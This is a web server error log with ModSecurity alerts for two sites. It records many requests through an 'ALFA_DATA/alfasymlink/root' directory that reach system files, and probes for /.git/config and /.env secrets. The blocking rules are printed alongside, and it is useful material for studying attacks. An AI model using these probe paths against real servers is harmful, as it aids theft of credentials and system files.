[Mon Oct 26 17:45:27.311533 2026] [security2:error] [pid 3084053:tid 3084053] [client 16.216.88.134:24576] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dbus-1/system.conf"] [unique_id "at_J9_Ctl1PgaN9A_9xLTgAAADQ"]
[Mon Oct 26 17:45:27.312093 2026] [security2:error] [pid 3084053:tid 3084053] [client 16.216.88.134:24576] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dbus-1/system.conf"] [unique_id "at_J9_Ctl1PgaN9A_9xLTgAAADQ"]
[Mon Oct 26 17:45:27.312489 2026] [security2:error] [pid 3084053:tid 3084053] [client 16.216.88.134:24576] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dbus-1/system.conf"] [unique_id "at_J9_Ctl1PgaN9A_9xLTgAAADQ"]
[Mon Oct 26 17:45:36.019101 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.166.104.83:12207] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:45:55.772588 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 23.23.103.31:58215] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:45:56.834016 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 185.191.171.2:46548] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/CSPSoftaculous.lock
[Mon Oct 26 17:46:11.937874 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 23.21.225.190:23165] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/uhci_hcd/0000:00:01.2/driver/remove_id
[Mon Oct 26 17:46:31.730582 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 52.4.213.199:34868] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/driver/cpu0/node0/cpu1/crash_notes_size
[Mon Oct 26 17:46:35.870564 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 44.223.232.55:45411] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty28/subsystem/ttyS1/close_delay
[Mon Oct 26 17:46:39.874242 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 44.221.105.234:46303] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:46:48.104791 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 34.236.185.101:50990] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:47:07.811781 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 35.173.38.202:16861] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:47:15.447668 2026] [security2:error] [pid 3083765:tid 3083765] [client 49.51.166.228:59624] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/miescurlax.com/"] [unique_id "at_KY6FL9aMETz-8AU8fSwAAAAQ"]
[Mon Oct 26 17:47:15.449088 2026] [authz_core:error] [pid 3083765:tid 3083765] [client 49.51.166.228:59624] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Mon Oct 26 17:47:35.877677 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 34.206.193.60:26065] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:47:42.641064 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 185.191.171.19:51580] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:47:47.927461 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.235.158.162:45895] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:47:50.485339 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 185.191.171.7:24514] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:47:56.213677 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 98.84.200.43:60175] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:48:11.951116 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.45.77.169:6269] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:48:23.981440 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 18.214.238.178:41604] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:48:31.777878 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 98.82.63.147:11666] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:48:47.745245 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 34.195.60.66:45722] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:49:05.531466 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 185.191.171.12:45602] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:49:05.531678 2026] [security2:error] [pid 3098113:tid 3098113] [client 185.191.171.12:45602] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS3/uevent"] [unique_id "at_K0bHarSgES5WqcDhG4wAAAAU"]
[Mon Oct 26 17:49:05.531701 2026] [security2:error] [pid 3098113:tid 3098113] [client 185.191.171.12:45602] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS3/uevent"] [unique_id "at_K0bHarSgES5WqcDhG4wAAAAU"]
[Mon Oct 26 17:49:07.690915 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 23.21.204.95:13549] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:49:16.368908 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 107.20.181.148:49601] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:49:33.676518 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 18.213.27.222:21488] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:49:35.785044 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.200.93.170:2496] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:49:39.887981 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.84.93.8:5390] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:49:40.104873 2026] [security2:error] [pid 3084023:tid 3084023] [client 216.244.66.250:55050] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/@babel/"] [unique_id "at_K9HMs9DEewnALzGZ1jQAAACM"]
[Mon Oct 26 17:49:40.104905 2026] [security2:error] [pid 3084023:tid 3084023] [client 216.244.66.250:55050] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/@babel/"] [unique_id "at_K9HMs9DEewnALzGZ1jQAAACM"]
[Mon Oct 26 17:49:48.846485 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 85.208.96.211:12924] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:50:00.294090 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 18.214.124.6:65321] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/shpchp/new_id
[Mon Oct 26 17:50:07.846027 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 44.193.115.232:57716] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:50:15.959456 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 54.225.148.123:56184] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:50:39.875838 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.209.100.30:9490] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:50:40.774222 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 85.208.96.211:55508] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/slab_size
[Mon Oct 26 17:50:43.999998 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 18.232.36.1:53603] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:50:55.738087 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 35.171.117.160:26353] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:50:59.702721 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 35.171.117.160:24157] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:51:07.742881 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 44.213.36.21:19040] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:0e/eject
[Mon Oct 26 17:51:11.131373 2026] [security2:error] [pid 3098116:tid 3098116] [client 107.172.76.131:56591] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_LQzS1e-yu7xYT1dr6EwAAAAk"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 17:51:11.131434 2026] [security2:error] [pid 3098116:tid 3098116] [client 107.172.76.131:56591] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at_LQzS1e-yu7xYT1dr6EwAAAAk"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 17:51:12.839771 2026] [security2:error] [pid 3089355:tid 3089355] [client 100.24.167.60:55887] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/thunderbolt/"] [unique_id "at_LUGl9busrkyxI7OQXNwAAAAI"]
[Mon Oct 26 17:51:12.839808 2026] [security2:error] [pid 3089355:tid 3089355] [client 100.24.167.60:55887] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/thunderbolt/"] [unique_id "at_LUGl9busrkyxI7OQXNwAAAAI"]
[Mon Oct 26 17:51:21.524858 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.205.222.214:40133] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:51:23.740337 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 98.84.60.17:65346] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:51:28.318475 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 3.218.103.254:29519] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:51:39.977133 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 3.89.176.255:22124] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:51:43.959577 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 3.94.157.25:12580] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:51:44.312277 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 185.191.171.14:22972] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/khugepaged_mm_slot/alloc_calls
[Mon Oct 26 17:51:47.816539 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 98.83.72.38:63730] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:51:59.798513 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 50.16.248.61:59043] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:52:02.771206 2026] [core:error] [pid 3106856:tid 3106856] (13)Permission denied: [client 185.191.171.3:39452] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-4k/partial
[Mon Oct 26 17:52:03.841153 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.84.161.62:16512] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:52:15.713503 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 35.174.253.85:9018] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:52:27.538046 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.162.69.192:47545] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:52:31.518094 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 34.194.226.74:24063] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:52:47.766009 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 18.214.186.220:7201] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:52:56.495167 2026] [ssl:error] [pid 3084053:tid 3084053] (5)Input/output error: [client 44.221.105.234:18280] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:53:03.329037 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 35.169.119.108:7552] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:53:12.748163 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 44.223.193.255:16829] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:04.0/resource1
[Mon Oct 26 17:53:33.200888 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 34.225.24.180:13632] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:53:38.610644 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 54.197.82.195:42719] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:53:53.264695 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 85.208.96.205:11578] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:53:58.942816 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 18.235.81.246:8252] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:54:14.757044 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 35.168.238.50:47692] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:54:20.406078 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 185.191.171.7:29484] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/shrink
[Mon Oct 26 17:54:26.768344 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 18.209.201.119:19617] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/driver/0000:00:05.0/resource4_wc
[Mon Oct 26 17:54:30.876452 2026] [security2:error] [pid 3083765:tid 3083765] [client 52.2.4.213:52563] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:05/wakeup/wakeup5/"] [unique_id "at_MFqFL9aMETz-8AU8fZAAAAAQ"]
[Mon Oct 26 17:54:30.876495 2026] [security2:error] [pid 3083765:tid 3083765] [client 52.2.4.213:52563] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:05/wakeup/wakeup5/"] [unique_id "at_MFqFL9aMETz-8AU8fZAAAAAQ"]
[Mon Oct 26 17:54:34.703724 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 54.84.161.62:16452] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty11/subsystem/tty0/subsystem/ttyS1/close_delay
[Mon Oct 26 17:54:42.749714 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 44.208.223.68:59594] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:54:46.613909 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 23.23.180.225:36595] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/vmd/uevent
[Mon Oct 26 17:54:50.478459 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 18.209.201.119:40405] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:05/subsystem/drivers_probe
[Mon Oct 26 17:54:58.608716 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 100.28.204.82:57897] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:55:10.513680 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 44.206.93.215:43678] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:55:14.439845 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.204.37.237:16008] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:55:26.420023 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 18.208.11.93:60749] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:55:30.196896 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 54.225.148.123:22348] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:55:37.280369 2026] [authz_core:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 17:55:37.656903 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "at_MWTS1e-yu7xYT1dr6KQAAAAk"]
[Mon Oct 26 17:55:37.657135 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "at_MWTS1e-yu7xYT1dr6KQAAAAk"]
[Mon Oct 26 17:55:37.657383 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "at_MWTS1e-yu7xYT1dr6KQAAAAk"]
[Mon Oct 26 17:55:37.859555 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at_MWTS1e-yu7xYT1dr6KwAAAAk"]
[Mon Oct 26 17:55:37.859816 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at_MWTS1e-yu7xYT1dr6KwAAAAk"]
[Mon Oct 26 17:55:37.860143 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env"] [unique_id "at_MWTS1e-yu7xYT1dr6KwAAAAk"]
[Mon Oct 26 17:55:37.904602 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.local"] [unique_id "at_MWTS1e-yu7xYT1dr6LAAAAAk"]
[Mon Oct 26 17:55:37.904843 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.local"] [unique_id "at_MWTS1e-yu7xYT1dr6LAAAAAk"]
[Mon Oct 26 17:55:37.905219 2026] [security2:error] [pid 3098116:tid 3098116] [client 34.174.226.145:56536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.local"] [unique_id "at_MWTS1e-yu7xYT1dr6LAAAAAk"]
